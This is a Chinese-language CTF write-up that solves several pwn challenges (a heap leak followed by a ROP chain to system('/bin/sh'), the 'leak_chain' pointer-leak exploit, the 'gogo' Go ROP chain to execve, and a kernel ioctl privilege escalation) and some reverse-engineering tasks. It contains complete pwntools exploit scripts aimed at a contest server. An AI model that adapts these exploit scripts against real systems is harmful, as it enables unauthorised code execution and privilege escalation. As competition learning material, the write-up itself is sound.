add(1,3,16,16,p)
se(1,3)
#debug()
edit(victim_pal)
#debug()
se(1,7)
show()
sh.recvuntil(b'Box content:\n')
stack_addr=u64(sh.recv(6).ljust(8,b'\x00'))
info(f'stack_addr:{hex(stack_addr)}')
#debug()


ret_addr=stack_addr-2464+0x880
next_addr=heap_base+0x430
info(f'the ret_addr:{hex(ret_addr)}')
info(f'next_addr:{hex(next_addr)}')
se(1,3)
victim_pal=p64(0)+p64(0x41)+p64(1)+p64(7)+p64(heap_base)+p64(0x10)+p64(0x10)+p64(ret_addr)+p64(0)+p64(0x111)
edit(victim_pal)
se(1,7)
show()
sh.recvuntil(b'Box content:\n')
sh.recv(17)

code_base=u64(sh.recv(8))-0xDB6
info(f'code_base:{hex(code_base)}')
#debug()
syscall_ret=0x0000000000091316+libc_base
pop_rdi_ret=0x000000000002a3e5+libc_base
pop_rax_pop_rbx_pop_rbp_ret=0x0000000000147d18+libc_base
pop_rdx_pop_rcx_pop_rbx_ret=0x0000000000108b03+libc_base #pop rdx; pop rcx; pop rbx; ret;
system = libc_base+libc.symbols['system']
ret_addr=0x01a+code_base

pop_rbp_ret=0x000000000000293+code_base
binsh_addr=libc_base+0x00000000001d8698

info(f'one_gadget:{one_gadget}')
#pal=p64(pop_rax_pop_rbx_pop_rbp_ret)+p64(0x3B)+p64(binsh_addr)+p64(0x1)+p64(pop_rdx_pop_rcx_pop_rbx_ret)+p64(0)*2+p64(binsh_addr)+p64(syscall_ret)
pal=p64(pop_rdi_ret)+p64(binsh_addr)+p64(ret_addr)+p64(system)
edit(pal)
show()
#debug()
sla(b'> ',b'aaa')




#debug()
sh.interactive()

leak_chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+6h] [rbp-Ah]
char v5; // [rsp+7h] [rbp-9h]
const char **buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
read_flag();
warmup_heap();
buf = (const char **)create_user();
v4 = 0;
while ( v4 != 1 )
{
printf("What is your name? ");
read(0, buf, 0x28uLL);
printf("Hello %s!\n", (const char *)buf);
puts("Let me tell you something about yourself! :3");
puts(buf[4]);
printf("Continue? (Y/n) ");
v5 = getchar();
if ( v5 == 110 || v5 == 78 )
v4 = 1;
}
puts("Boom! Boom, boom, boom! I want YOU in my room!");
destroy_user(buf);
return 0;
}

他的漏洞点很容易看出,就是一个指针读取和指针指向的内容的读取,puts的参数是字符串的地址

而flag就在bss段上,因此要间接泄露到flag的地址上

以为之前的warm_heap显然一个unsortedbin的泄露,因此libc泄露

泄露思路:

heap基址->libc基址->stack基址->bss基址

注意本stack和上题用的是同一种方法(__environ)

就成功获得flag了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
#sh=process('./leak_chain')
#context.log_level='debug'
sh=remote("114.116.233.171", 10003)
libc = ELF('/home/bamboo/glibc-all-in-one-master/libs/2.35-0ubuntu3.6_amd64/libc.so.6')


sla = lambda x,y : sh.sendlineafter(x,y)
sa = lambda x,y : sh.sendafter (x,y)
ru = lambda x : sh.recvuntil (x)
al = lambda x : sh.sendline (x)

def debug():
gdb.attach(sh)
pause()

sh.sendline(b'A' * 32)
sh.recvuntil(b'Hello ')
sh.recvuntil(b'\n')
heap_leak = (b'\x00' + sh.recvuntil(b'!\n')[:-2]).ljust(8, b'\x00')
heap_leak = u64(heap_leak)
info(f'heap leak: {hex(heap_leak)}')

libc_addr = heap_leak + 0x110
sh.sendafter(b'Continue?', b'Y')
sh.sendafter(b'name', b'A' * 32 + p64(libc_addr))
sh.recvuntil(b':3\n')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
print("libc_addr====>",hex(libc_leak))

libc.address = libc_leak - 2208601

stack_addr = libc.symbols['__environ']
sh.sendafter(b'Continue?', b'Y')
sh.sendafter(b'name', b'A' * 32 + p64(stack_addr))
sh.recvuntil(b':3\n')
stack_leak = u64(sh.recv(6).ljust(8, b'\x00'))
print("stack_addr===>",hex(stack_addr))
#debug()

r_addr = stack_leak - 0x150
print('r_addr===>',hex(r_addr))
#debug()
sh.sendafter(b'Continue?', b'Y')
sh.sendafter(b'name', b'A' * 32 + p64(r_addr))
sh.recvuntil(b':3\n')
r_leak = u64(sh.recv(6).ljust(8, b'\x00'))
print('r_leak====>',hex(r_leak))
#debug()

flag_addr=r_leak+0x2d1e+36
print('flag_addr===>',flag_addr)
sh.sendafter(b'Continue?', b'Y')
sh.sendafter(b'name', b'A' * 32 + p64(flag_addr))
sh.recvuntil(b':3\n')
sh.interactive()

gogo

本题逆向难度很大,但是找对方法很重要

image-20240406213809528

只需要通过cyclic找到偏移,就可以构造rop链getshell啦

当然构造也是一个难点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
#context.log_level='debug'
#sh=process('./go_start')
sh=remote('114.116.233.171',10005)
elf=ELF('./go_start')

buf=208*b'a'

pop_rax_pop_rbp_ret=0x00000000004042d1
pop_rbp_ret=0x0000000000401031
pop_rbx_ret=0x0000000000446c41
pop_rcx_ret=0x0000000000412ac3
ret=0x0000000000401032
pop_rdx_ret=0x000000000040e0a9

mov_rdi_rcx_add_rsp_40_pop_rbp_ret=0x0000000000450f4f
mov_rax_8_rcx_ret=0x000000000042ee0e #mov qword ptr [rax + 8], rcx ; ret

syscall=0x0000000000463c49 # syscall
moc_rsi_rcx_add_rsp_20_pop_rbp_ret=0x0000000000457c44 #mov rsi, rcx; mov r8, rdi; add rsp, 0x20; pop rbp; ret;
mov_rdx_rax_add_rsp_10h_pop_rbp_ret=0x00477d25

#gdb.attach(sh,'b *0x00403366')
#pause()
rop=buf
rop+=p64(pop_rcx_ret)
rop+=p64(0x68732f6e69622f)
rop+=p64(pop_rax_pop_rbp_ret)
rop+=p64(elf.bss()-8)
rop+=p64(0) #rbp
rop+=p64(mov_rax_8_rcx_ret)
rop+=p64(pop_rcx_ret)
rop+=p64(elf.bss())
rop+=p64(mov_rdi_rcx_add_rsp_40_pop_rbp_ret)
rop+=p64(0)*9

rop+=p64(pop_rax_pop_rbp_ret)
rop+=p64(0)*2
rop+=p64(mov_rdx_rax_add_rsp_10h_pop_rbp_ret)
rop+=p64(0)*3
rop+=p64(pop_rax_pop_rbp_ret)
rop+=p64(0x3b)
rop+=p64(0)
rop+=p64(pop_rbx_ret)
rop+=p64(0)
rop+=p64(pop_rcx_ret)
rop+=p64(0)
rop+=p64(moc_rsi_rcx_add_rsp_20_pop_rbp_ret)
rop+=p64(0)*5
rop+=p64(syscall) # syscall
print(rop)
#gdb.attach(sh)
#pause()
sh.recvuntil(b'would you like to play with me ?\n')
sh.sendline(rop)
sh.interactive()

不太娴熟,所以长了一点。。。

签到

如题,知道kernel便很简单

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall hello_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rdx
__int64 v5; // rax

_fentry__(file, cmd, arg);
if ( v3 != 0x666 || cmd != 0xDEADBEEF )
return 0LL;
v5 = prepare_kernel_cred(0LL);
commit_creds(v5);
return 0LL;
}

只需要达到两个条件,就能成功root了,v3是rdx,所以arg是v3

因此只要传入

1
ioctl(fd,0xDEADBEEF,0x666); //就root了

exp

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>  
#include <fcntl.h>
#include <stdlib.h>

int main(int argc, char **argv, char *envp)
{
int dev_fd;
dev_fd=open("/dev/hello",0x666);
ioctl(dev_fd,0xDEADBEEF,0x666);
system('/bin/sh');
return 0;
}

Re

签到1

塞ida32里 shift+F12

image-20240406214437757

签到2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-148h]
size_t i; // [esp+D0h] [ebp-78h]
char Str1[104]; // [esp+DCh] [ebp-6Ch] BYREF

__CheckForDebuggerJustMyCode(&unk_41C029);
sub_411037("%s", (char)Str1);
for ( i = 0; i < j_strlen(Str2); ++i )
Str1[i] ^= i;
if ( !j_strcmp(Str1, Str2) )
sub_4110DC("WOW,YOU_ARE_RIGHT!", v4);
else
puts("WRONG!");
system("pause");
return 0;
}

image-20240406214636169

就是一个异或加密小程序

在vs里自己写一个反的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<iostream>
#include<string>
#include<string.h>
using namespace std;


int main()
{
char str2[] = "FBVE\x7FLRXAZUNM^WPG^@X5h";
int len = strlen(str2);
for (int i = 0; i < len; i++)
cout << (char)(str2[i] ^ i);
system("pause");
}

然后就image-20240406214710767

逆向工程=软件工程

image-20240406214753365

一看这个就想到机器码就长这样,因此就觉得是一个elf文件,虽然checksec没check成功,估计是少一些关键的数据,把txt去掉塞ida里(记得把前面的话去掉,虽然不去掉txt也可以塞)

image-20240406214942254

就成功了